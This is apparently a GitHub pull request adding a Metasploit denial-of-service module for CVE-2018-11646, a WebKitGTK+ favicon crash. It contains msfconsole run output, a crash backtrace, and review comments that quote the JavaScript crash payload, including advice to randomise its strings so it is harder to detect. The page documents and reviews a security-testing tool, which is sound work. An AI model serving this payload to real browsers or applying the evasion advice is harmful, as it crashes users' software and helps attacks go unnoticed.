WebKit, as used in WebKitGTK+ Crash - CVE-2018-11646 #10156

RootUp · 2018-06-09T06:15:05Z

Summary

This module exploits a vulnerability in WebKitFaviconDatabase when pageURL is unset. If successful,it could leads to application crash, denial of service, webkitFaviconDatabaseSetIconForPageURL and webkitFaviconDatabaseSetIconURLForPageURL in UIProcess/API/glib/WebKitFaviconDatabase.cpp in WebKit, as used in WebKitGTK+ through 2.21.3, mishandle an unset pageURL, leading to an application crash.

Tested on : Epiphany Web Browser 3.28.x

Verification

msf auxiliary(dos/http/webkitplus) > show options 

Module options (auxiliary/dos/http/webkitplus):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  192.168.1.105    yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT  8080             yes       The local port to listen on.
   SSL      false            no        Negotiate SSL for incoming connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH  /                no        The URI to use for this exploit (default is random)


Auxiliary action:

   Name       Description
   ----       -----------
   WebServer


msf auxiliary(dos/http/webkitplus) > run
[*] Auxiliary module running as background job 0.
msf auxiliary(dos/http/webkitplus) > 
[*] Using URL: http://192.168.1.105:8080/
[*] Server started.

msf auxiliary(dos/http/webkitplus) > 
[*] Sending response

msf auxiliary(dos/http/webkitplus) >

Backtrace using Fedora 27

#0 WTF::StringImpl::rawHash
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WTF/wtf/text/StringImpl.h line 508
#1 WTF::StringImpl::hasHash
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WTF/wtf/text/StringImpl.h line 514
#2 WTF::StringImpl::hash
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WTF/wtf/text/StringImpl.h line 525
#3 WTF::StringHash::hash
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WTF/wtf/text/StringHash.h line 73
#9 WTF::HashMap, WTF::HashTraits >::get
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WTF/wtf/HashMap.h line 406
#10 webkitFaviconDatabaseSetIconURLForPageURL
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WebKit/UIProcess/API/glib/WebKitFaviconDatabase.cpp line 193
#11 webkitFaviconDatabaseSetIconForPageURL
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WebKit/UIProcess/API/glib/WebKitFaviconDatabase.cpp line 318
#12 webkitWebViewSetIcon
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WebKit/UIProcess/API/glib/WebKitWebView.cpp line 1964
#13 WTF::Function::performCallbackWithReturnValue
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WebKit/UIProcess/GenericCallback.h line 108
#15 WebKit::WebPageProxy::dataCallback
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WebKit/UIProcess/WebPageProxy.cpp line 5083
#16 WebKit::WebPageProxy::finishedLoadingIcon
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WebKit/UIProcess/WebPageProxy.cpp line 6848
#17 IPC::callMemberFunctionImpl::operator()
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WTF/wtf/glib/RunLoopGLib.cpp line 68
#29 WTF::RunLoop::::_FUN(gpointer)
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WTF/wtf/glib/RunLoopGLib.cpp line 70
#30 g_main_dispatch
at gmain.c line 3148
#31 g_main_context_dispatch
at gmain.c line 3813
#32 g_main_context_iterate
at gmain.c line 3886
#33 g_main_context_iteration
at gmain.c line 3947
#34 g_application_run
at gapplication.c line 2401
#35 main
at ../src/ephy-main.c line 432

References:
https://bugs.webkit.org/show_bug.cgi?id=186164
https://datarift.blogspot.com/2018/06/cve-2018-11646-webkit.html

bcoles · 2018-06-09T06:31:23Z

modules/auxiliary/dos/http/webkitplus.rb

+  def setup
+    @html = <<-JS
+<script type="text/javascript">
+win = window.open("sleep_one_second.php", "WIN"); 


What is sleep_one_second.php ?

What i observed is that can be anything example hello_world.php or WIN

bcoles · 2018-06-09T06:31:42Z

modules/auxiliary/dos/http/webkitplus.rb

+    @html = <<-JS
+<script type="text/javascript">
+win = window.open("sleep_one_second.php", "WIN"); 
+window.open("https://www.paypal.com", "WIN");  


Can this be randomised? Does it need to be a real URL? If so, it should be configurable.

Alternatively, can the URL point back to the MSF HTTP server?

URL is not necessary though, it can be configurable or simply we can change it to WIN

bcoles · 2018-06-09T06:31:51Z

modules/auxiliary/dos/http/webkitplus.rb

+win = window.open("sleep_one_second.php", "WIN"); 
+window.open("https://www.paypal.com", "WIN");  
+win.document.execCommand('Stop');              
+win.document.write("Spoofed URL");   


Is this necessary? If so, is win.document.write(''); sufficient?

Not sure about this, but looks sufficient specifically to execute crash in WebkitGTK+

bcoles · 2018-06-09T06:32:43Z

modules/auxiliary/dos/http/webkitplus.rb

+    super(
+      update_info(
+        info,
+        'Name'           => "WebKitGTK+ leading to an application crash [DoS]",


Perhaps: WebKitGTK+ WebKitFaviconDatabase DoS

bcoles · 2018-06-09T06:32:56Z

modules/auxiliary/dos/http/webkitplus.rb

+          'Manuel Caballero' #JS Code
+        ],
+        'References' => [
+          ['EXPLOIT-DB', '44842'],


bcoles · 2018-06-09T06:33:56Z

modules/auxiliary/dos/http/webkitplus.rb

+          ['URL', 'https://bugs.webkit.org/show_bug.cgi?id=186164'],
+          ['URL', 'https://datarift.blogspot.com/2018/06/cve-2018-11646-webkit.html']
+        ],
+        'DisclosureDate' => 'June 03 2018',


'Jun 3 2018`

Thanks bcloes 😎

timwr · 2018-06-10T03:02:53Z

Great stuff @RootUp
You might also be interested in: https://github.com/MTJailed/MSF-Webkit-10.3

RootUp · 2018-06-10T06:13:36Z

Thanks @timwr
Never came across that repo, but will surely have a look.

bcoles · 2018-06-11T03:13:03Z

documentation/modules/auxiliary/dos/http/webkitplus.md

@@ -0,0 +1,96 @@
+## Vulnerable Application
+
+This module exploits a vulnerability in WebKitFaviconDatabase when pageURL is unset. If successful,it could leads to application crash, denial of service, webkitFaviconDatabaseSetIconForPageURL and webkitFaviconDatabaseSetIconURLForPageURL in UIProcess/API/glib/WebKitFaviconDatabase.cpp in WebKit, as used in WebKitGTK+ through 2.21.3, mishandle an unset pageURL, leading to an application crash. 


This module exploits a vulnerability in `WebKitFaviconDatabase` when `pageURL` is unset. If successful, it could lead to application crash, resulting in denial of service. The `webkitFaviconDatabaseSetIconForPageURL` and `webkitFaviconDatabaseSetIconURLForPageURL` functions in `UIProcess/API/glib/WebKitFaviconDatabase.cpp` in WebKit, as used in WebKitGTK+ through 2.21.3, mishandle an unset `pageURL`, leading to an application crash.

bcoles · 2018-06-11T03:13:11Z

documentation/modules/auxiliary/dos/http/webkitplus.md

+
+This module exploits a vulnerability in WebKitFaviconDatabase when pageURL is unset. If successful,it could leads to application crash, denial of service, webkitFaviconDatabaseSetIconForPageURL and webkitFaviconDatabaseSetIconURLForPageURL in UIProcess/API/glib/WebKitFaviconDatabase.cpp in WebKit, as used in WebKitGTK+ through 2.21.3, mishandle an unset pageURL, leading to an application crash. 
+
+Related links : 


Related links : * https://bugs.webkit.org/show_bug.cgi?id=186164 * https://datarift.blogspot.com/2018/06/cve-2018-11646-webkit.html

bcoles · 2018-06-11T03:14:11Z

modules/auxiliary/dos/http/webkitplus.rb

+        'Name'           => "WebKitGTK+ WebKitFaviconDatabase DoS",
+        'Description'    => %q(
+          This module exploits a vulnerability in WebKitFaviconDatabase when pageURL is unset.
+          If successful,it could leads to application crash, denial of service.


If successful, it could lead to application crash, resulting in denial of service.

bcoles · 2018-06-11T03:19:57Z

modules/auxiliary/dos/http/webkitplus.rb

+win=window.open("sleep_one_second.php", "WIN");
+window.open("https://www.paypal.com", "WIN");
+win.document.execCommand('Stop');
+win.document.write("Spoofed URL");


Hardcoded strings like Spoofed URL and sleep_one_second.php make the code easier to detect and prevent. They also increase the chances of the user realising something suspicious is afoot, in the event they're using a non-vulnerable browser that doesn't crash. These should be randomized where possible.

Similarly, PayPal probably aren't keen on being used as the default URL (free advertising?). The URL should point elsewhere if possible.

Suggestion's made by bcoles

RootUp · 2018-06-11T08:01:54Z

Thanks @bcoles 😎
I have made the necessary changes 👍

acammack-r7

Minor changes

acammack-r7 · 2018-06-13T20:42:52Z

modules/auxiliary/dos/http/webkitplus.rb

+
+class MetasploitModule < Msf::Auxiliary
+  include Msf::Exploit::Remote::HttpServer
+


This also needs to

include Msf::Auxiliary::Dos

to avoid being unintentionally run by Pro and other tools.

Suggestion's by acammack-r7

busterb · 2018-06-21T21:31:31Z

WFM, thanks @RootUp !

busterb · 2018-06-21T21:35:12Z

Release Notes

This adds an DoS module for CVE-2018-11646, exploiting a vulnerability in WebKitFaviconDatabase when pageURL is unset. If successful, it can cause a crash in applications using a vulnerable version of WebKitGTK+ up to version 2.21.3.

RootUp added 3 commits June 9, 2018 11:43

CVE-2018-11646 - Webkit+

6e8412f

Spaces at EOL

f1d29e7

Error at disclosure date format

76588ae

bcoles reviewed Jun 9, 2018

View reviewed changes

bcoles added module needs-docs labels Jun 9, 2018

Some tweak

d3a18b2

Thanks bcloes 😎

RootUp mentioned this pull request Jun 9, 2018

Documentation for CVE-2018-11646 RootUp/metasploit-framework#4

Closed

RootUp added 2 commits June 9, 2018 15:58

Spaces at EOL

51823b1

Added documentation

be5bc3d

bcoles added docs and removed needs-docs labels Jun 10, 2018

bcoles reviewed Jun 11, 2018

View reviewed changes

RootUp added 2 commits June 11, 2018 13:21

Minor changes in documentation

62a1343

Minor tweaks

b44265f

Suggestion's made by bcoles

acammack-r7 suggested changes Jun 13, 2018

View reviewed changes

Updated

c0a5a65

Suggestion's by acammack-r7

acammack-r7 approved these changes Jun 14, 2018

View reviewed changes

busterb self-assigned this Jun 21, 2018

busterb merged commit c0a5a65 into rapid7:master Jun 21, 2018

busterb added a commit that referenced this pull request Jun 21, 2018

Land #10156, WebKit, as used in WebKitGTK+ Crash - CVE-2018-11646

eaf043d

msjenkins-r7 pushed a commit that referenced this pull request Jun 21, 2018

Land #10156, WebKit, as used in WebKitGTK+ Crash - CVE-2018-11646

679378d

tdoan-r7 added the rn-enhancement release notes enhancement label Jul 5, 2018

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

WebKit, as used in WebKitGTK+ Crash - CVE-2018-11646 #10156

WebKit, as used in WebKitGTK+ Crash - CVE-2018-11646 #10156

RootUp commented Jun 9, 2018

bcoles Jun 9, 2018

RootUp Jun 9, 2018

bcoles Jun 9, 2018

bcoles Jun 9, 2018

RootUp Jun 9, 2018

bcoles Jun 9, 2018

RootUp Jun 9, 2018

bcoles Jun 9, 2018

bcoles Jun 9, 2018

bcoles Jun 9, 2018

timwr commented Jun 10, 2018

RootUp commented Jun 10, 2018

bcoles Jun 11, 2018

bcoles Jun 11, 2018

bcoles Jun 11, 2018

bcoles Jun 11, 2018

RootUp commented Jun 11, 2018

acammack-r7 left a comment

acammack-r7 Jun 13, 2018

busterb commented Jun 21, 2018

busterb commented Jun 21, 2018

		@@ -0,0 +1,96 @@
		## Vulnerable Application

		This module exploits a vulnerability in WebKitFaviconDatabase when pageURL is unset. If successful,it could leads to application crash, denial of service, webkitFaviconDatabaseSetIconForPageURL and webkitFaviconDatabaseSetIconURLForPageURL in UIProcess/API/glib/WebKitFaviconDatabase.cpp in WebKit, as used in WebKitGTK+ through 2.21.3, mishandle an unset pageURL, leading to an application crash.


		This module exploits a vulnerability in WebKitFaviconDatabase when pageURL is unset. If successful,it could leads to application crash, denial of service, webkitFaviconDatabaseSetIconForPageURL and webkitFaviconDatabaseSetIconURLForPageURL in UIProcess/API/glib/WebKitFaviconDatabase.cpp in WebKit, as used in WebKitGTK+ through 2.21.3, mishandle an unset pageURL, leading to an application crash.

		Related links :


		class MetasploitModule < Msf::Auxiliary
		include Msf::Exploit::Remote::HttpServer

WebKit, as used in WebKitGTK+ Crash - CVE-2018-11646 #10156

WebKit, as used in WebKitGTK+ Crash - CVE-2018-11646 #10156

Conversation

RootUp commented Jun 9, 2018

Summary

Verification

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

timwr commented Jun 10, 2018

RootUp commented Jun 10, 2018

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

RootUp commented Jun 11, 2018

acammack-r7 left a comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

busterb commented Jun 21, 2018

busterb commented Jun 21, 2018

Release Notes